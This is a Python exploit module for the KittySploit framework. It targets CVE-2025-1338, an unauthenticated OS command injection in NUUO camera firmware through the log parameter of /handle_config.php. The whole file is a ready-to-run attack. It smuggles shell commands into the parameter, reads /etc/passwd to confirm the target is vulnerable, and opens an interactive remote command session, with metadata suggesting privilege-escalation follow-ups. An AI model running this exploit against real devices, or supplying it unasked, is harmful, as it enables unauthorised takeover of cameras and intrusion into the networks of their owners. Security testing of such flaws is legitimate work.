NUUO Camera - Unauthenticated OS Command Injection (CVE-2025-1338)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""NUUO camera unauthenticated OS command injection via /handle_config.php (CVE-2025-1338)."""

import re
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'NUUO Camera - Unauthenticated OS Command Injection (CVE-2025-1338)',
        'description': (
            'NUUO camera firmware up to 20250203 is vulnerable to unauthenticated OS command '
            'injection via the log parameter of /handle_config.php. Command output is returned '
            'in the HTTP response. Opens an execute session for interactive command execution.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2025-1338'],
        'platform': Platform.LINUX,
        'payload': {
            'default': 'nopayload',
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2025-1338',
            'https://github.com/advisories/GHSA-vw58-vgp6-39qx',
            'https://dbugs.ptsecurity.com/vulnerability/CVE-2025-1338',
        ],
        'tags': ['nuuo', 'camera', 'iot', 'rce', 'cmdi', 'unauth', 'cve-2025-1338'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'post/shell/multi/gather/privesc_suggester',
                    'scanner/http/cve_2025_1338_detect',
                ],
            },
        },
    }

    def execute(self, cmd: str) -> str:
        path = f'/handle_config.php?log=;{quote(str(cmd), safe="")};'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2025-1338 confirmed: id output returned',
                'confidence': 'high',
            }
        body = self.execute('cat /etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2025-1338 confirmed: /etc/passwd readable via cmdi',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'No command output observed',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        # Opens an interactive execute session (required for Exploit modules).
        return self.handler_execute()